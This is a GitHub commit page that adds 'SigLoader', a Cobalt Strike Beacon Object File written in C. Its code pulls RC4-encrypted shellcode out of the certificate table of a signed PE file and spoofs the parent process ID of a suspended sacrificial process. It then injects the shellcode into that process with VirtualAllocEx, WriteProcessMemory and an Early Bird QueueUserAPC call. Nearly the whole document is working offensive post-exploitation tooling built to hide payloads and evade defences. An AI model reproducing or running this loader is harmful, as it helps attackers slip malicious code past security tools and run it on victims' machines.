Skip to content

Commit

Permalink
First Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
meazaar committed Aug 8, 2021
1 parent 74a2333 commit b10a44b
Show file tree
Hide file tree
Showing 28 changed files with 3,037 additions and 0 deletions.
65 changes: 65 additions & 0 deletions Bof/SigLoader/beacon.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
#ifndef _BEACON_
#define _BEACON_
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/

/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);

/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20

DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);

#endif
47 changes: 47 additions & 0 deletions Bof/SigLoader/common.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
#ifndef _COMMON_
#define _COMMON_
#pragma once
#pragma comment(lib, "dbghelp.lib")

#include <windows.h>
#include <stdio.h>
#include <dbghelp.h>
#include <time.h>
#include <softpub.h>



WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess();
WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName);
WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh);
WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
WINBASEAPI FILE *__cdecl MSVCRT$fopen(const char *filename, const char *mode);
WINBASEAPI int __cdecl MSVCRT$fclose(FILE *stream);
WINBASEAPI size_t __cdecl MSVCRT$fwrite(const void *buffer,size_t size,size_t count,FILE *stream);
WINBASEAPI char* __cdecl MSVCRT$strrchr( const char *str, int c);
WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);
WINBASEAPI void __cdecl MSVCRT$free(void *_Memory);
WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);
WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size);
WINBASEAPI time_t __cdecl MSVCRT$time( time_t *destTime );
DECLSPEC_IMPORT PIMAGE_NT_HEADERS IMAGEAPI DBGHELP$ImageNtHeader(PVOID Base);
DECLSPEC_IMPORT size_t __cdecl MSVCRT$mbstowcs( wchar_t *wcstr, const char *mbstr, size_t count);

DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (void);
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread (HANDLE);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap (VOID);
DECLSPEC_IMPORT WINBASEAPI PVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, DWORD);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD);
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE, DWORD);
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$QueueUserAPC (PAPCFUNC, HANDLE, ULONG_PTR);
DECLSPEC_IMPORT WINBASEAPI PVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, PVOID, DWORD, DWORD, DWORD);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$InitializeProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD, PSIZE_T);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$UpdateProcThreadAttribute (LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD_PTR, PVOID, SIZE_T, PVOID, PSIZE_T);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CreateProcessW (LPCWSTR, LPCWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, PVOID, DWORD, DWORD, PDWORD);
#endif
78 changes: 78 additions & 0 deletions Bof/SigLoader/helpers.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
#include "common.h"
#include "beacon.h"

#define SHA1LEN 20
#define print(format, ...) BeaconPrintf(CALLBACK_OUTPUT, format, ##__VA_ARGS__)


char* getFName(char* path, char* pFileName)
{

MSVCRT$memcpy(pFileName, path, MSVCRT$strlen(path));

if (path == NULL)
return NULL;

for (char* pCur = path; *pCur != '\0'; pCur++)
{
if (*pCur == '/' || *pCur == '\\')
pFileName = pCur + 1;
}

return pFileName;
}

void crypt(unsigned char* data, long dataLen, char* key, long keyLen, unsigned char* result){
unsigned char T[256];
unsigned char S[256];
unsigned char tmp;
int j = 0, t = 0, i = 0;


for (int i = 0; i < 256; i++){
S[i] = i;
T[i] = key[i % keyLen];
}

for (int i = 0; i < 256; i++){
j = (j + S[i] + T[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
}
j = 0;
for (int x = 0; x < dataLen; x++){
i = (i + 1) % 256;
j = (j + S[i]) % 256;

tmp = S[j];
S[j] = S[i];
S[i] = tmp;

t = (S[i] + S[j]) % 256;

result[x] = data[x] ^ S[t];
}
}

BOOL IsWow64(HANDLE pHandle)
{
BOOL isWow64 = FALSE;

typedef BOOL(WINAPI *PFNIsWow64Process) (HANDLE, PBOOL);
PFNIsWow64Process _FNIsWow64Process;
_FNIsWow64Process = (PFNIsWow64Process)KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32"), "IsWow64Process");

if (NULL != _FNIsWow64Process){
if (!_FNIsWow64Process(pHandle, &isWow64)) {}
}
return isWow64;
}

LPWSTR toMultiByte(DWORD strLen, CHAR* _Str, LPWSTR _wStr) {
DWORD wlen = strLen * 2;
_wStr = (LPWSTR)MSVCRT$malloc(wlen * sizeof(wchar_t));
MSVCRT$mbstowcs(_wStr, _Str, MSVCRT$strlen(_Str) + 1);

return _wStr;
}
203 changes: 203 additions & 0 deletions Bof/SigLoader/sigloader.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,203 @@
#include "common.h"
#include "beacon.h"
#include "helpers.c"


#define KEY_LEN 8

#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000

typedef struct _STARTUPINFOEXW {
STARTUPINFOW StartupInfo;
struct _PROC_THREAD_ATTRIBUTE_LIST *lpAttributeList;
} STARTUPINFOEXW, *LPSTARTUPINFOEXW;

void go(char* args, int length) {

datap parser;
char* _fPath = NULL;
char* _key = NULL;
int _ppid;
DWORD _keySize = 0;
char* _sProcess;

BeaconDataParse(&parser, args, length);

_fPath = BeaconDataExtract(&parser, NULL);
_key = BeaconDataExtract(&parser, NULL);
_sProcess = BeaconDataExtract(&parser, NULL);
_ppid = BeaconDataInt(&parser);
_keySize = MSVCRT$strlen(_key);


DWORD _CertTableRVA = 0;
SIZE_T _CertTableSize = 0;
LPWIN_CERTIFICATE _wCert ;
unsigned checksum = 0;
FILE* _outFile = NULL;
SIZE_T _writtenBytes = 0;
CHAR* _encryptedData = NULL;
CHAR* _rpadding = NULL;
DWORD _fSize = 0;
VOID* _peBlob = NULL;
DWORD _bytesRead = 0;
HANDLE _fHandle = INVALID_HANDLE_VALUE;
HANDLE _oHandle = INVALID_HANDLE_VALUE;
DWORD _extraPaddingCount = 0;
CHAR* _extraPadding = NULL;
DWORD _DT_SecEntry_Offset = 0;
CHAR* _sha1Hash = NULL;
LPWSTR _fwPath = NULL;
LPWSTR _owPath = NULL;
DWORD _dataOffset = 0;
SIZE_T _index = 0;
BYTE* _pePtr = NULL;
DWORD _encryptedDataSize = 0;
CHAR* _decryptedData = NULL;


char* _fName = (char*)MSVCRT$malloc(MSVCRT$strlen(_fPath) + 1);
_fName = getFName(_fPath, _fName);

print("[*]: Loading/Parsing PE File '%s'", _fName);
_fHandle = KERNEL32$CreateFileA(_fPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (_fHandle == INVALID_HANDLE_VALUE) {
print("[!]: Could not read file %s", _fName);
goto _Exit;
}

_fSize = KERNEL32$GetFileSize(_fHandle, NULL);
_peBlob = MSVCRT$malloc(_fSize);
KERNEL32$ReadFile(_fHandle, _peBlob, _fSize, &_bytesRead, NULL);

if (_bytesRead == 0) {
print("[!]: Could not read file %s", _fName);
goto _Exit;
}

PIMAGE_DOS_HEADER _dosHeader = (PIMAGE_DOS_HEADER)_peBlob;

if (_dosHeader->e_magic != 0x5a4d) {
print("'%s' is not a valid PE file", _fName);
goto _Exit;
}


PIMAGE_NT_HEADERS _ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)_peBlob + _dosHeader->e_lfanew);
IMAGE_OPTIONAL_HEADER _optHeader = (IMAGE_OPTIONAL_HEADER)_ntHeader->OptionalHeader;

if (IsWow64(KERNEL32$GetCurrentProcess())) {
if (_optHeader.Magic == 0x20B) {
_DT_SecEntry_Offset = 2;
}
}else{
if (_optHeader.Magic == 0x10B) {
_DT_SecEntry_Offset = -2;
}
}

_CertTableRVA = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].VirtualAddress;
_CertTableSize = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].Size;
_wCert = (LPWIN_CERTIFICATE)((BYTE*)_peBlob + _CertTableRVA);


print("[+]: Scanning for data/shellcode...");
_pePtr = ((BYTE*)_peBlob + _CertTableRVA);
for (_index = 0; _index < _CertTableSize; _index++) {
if (*(_pePtr + _index) == 0xfe && *(_pePtr + _index + 1) == 0xed && *(_pePtr + _index + 2) == 0xfa && *(_pePtr + _index + 3) == 0xce) {
print("[*]:Shellcode Found at 0x%x", (_pePtr + _index));
_dataOffset = _index + 8;
break;
}
}

if (_dataOffset != _index + 8) {
print("[!]: Could not locate data/shellcode");
goto _Exit;
}

//Decrypting shellcode
print("[+]: Decrypting shellcode...");
_encryptedDataSize = _CertTableSize - _dataOffset;
_decryptedData = (CHAR*)MSVCRT$malloc(_encryptedDataSize);
MSVCRT$memcpy(_decryptedData, _pePtr + _dataOffset, _encryptedDataSize);
crypt((unsigned char*)_decryptedData, _encryptedDataSize, _key, _keySize, (unsigned char*)_decryptedData);
print("[+]: Decrypted shellcode size: %d", _encryptedDataSize);



//Shellcode Injection - Early Bird

LPCWSTR sProcess ;
LPCWSTR sPArgs ;
STARTUPINFOEXW si = { sizeof(si) };
SIZE_T attrListSize;
PROCESS_INFORMATION pi ;
LPVOID memAddr;
LPVOID oldProtect;
HANDLE hProcess, hThread;
NTSTATUS status;

int scLen;
char* scPtr;

sProcess = toMultiByte(MSVCRT$strlen(_sProcess), _sProcess, sProcess);
sPArgs = L"-u -p 12432 -s 23543"; //in case you using werfault.exe as a host process.
scLen = _encryptedDataSize;
scPtr = _decryptedData;

SIZE_T _scSize = sizeof(scPtr) * scLen;
print("[+]: SpawnTo: %ls",sProcess);
print("[+]: Shellcode Size: %d",scLen);

print("[+]: Obtaining a handle of PID %d", _ppid);
HANDLE pHandle = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, _ppid);

print("[+]: Spawning sacrificial process...");

KERNEL32$InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, attrListSize);
KERNEL32$InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrListSize);
KERNEL32$UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXW);

if (!KERNEL32$CreateProcessW(sProcess, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFO)&si, &pi)){
print("[!]: CreateProcessW() Error: %d", KERNEL32$GetLastError());
goto _Exit;
}

KERNEL32$WaitForSingleObject(pi.hProcess, 2000);
hProcess = pi.hProcess;
hThread = pi.hThread;

memAddr = KERNEL32$VirtualAllocEx(hProcess, NULL, _scSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

print("[+]: Writing shellcode into remote process...");
KERNEL32$WriteProcessMemory(hProcess, memAddr, scPtr, _scSize, NULL);

KERNEL32$VirtualProtectEx(hProcess, memAddr, _scSize, PAGE_EXECUTE_READ, oldProtect);

PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)memAddr;

print("[+]: Queueing a User APC and Resuming the main thread");
KERNEL32$QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL);

KERNEL32$ResumeThread(hThread);

BeaconCleanupProcess(&pi);


print("[*]: Done.");

goto _Exit;

_Exit:
if (_peBlob) MSVCRT$free(_peBlob);
if (_decryptedData) MSVCRT$free(_decryptedData);
if (_fHandle) KERNEL32$CloseHandle(_fHandle);
if (sProcess) MSVCRT$free(sProcess);

}


Loading

0 comments on commit b10a44b

Please sign in to comment.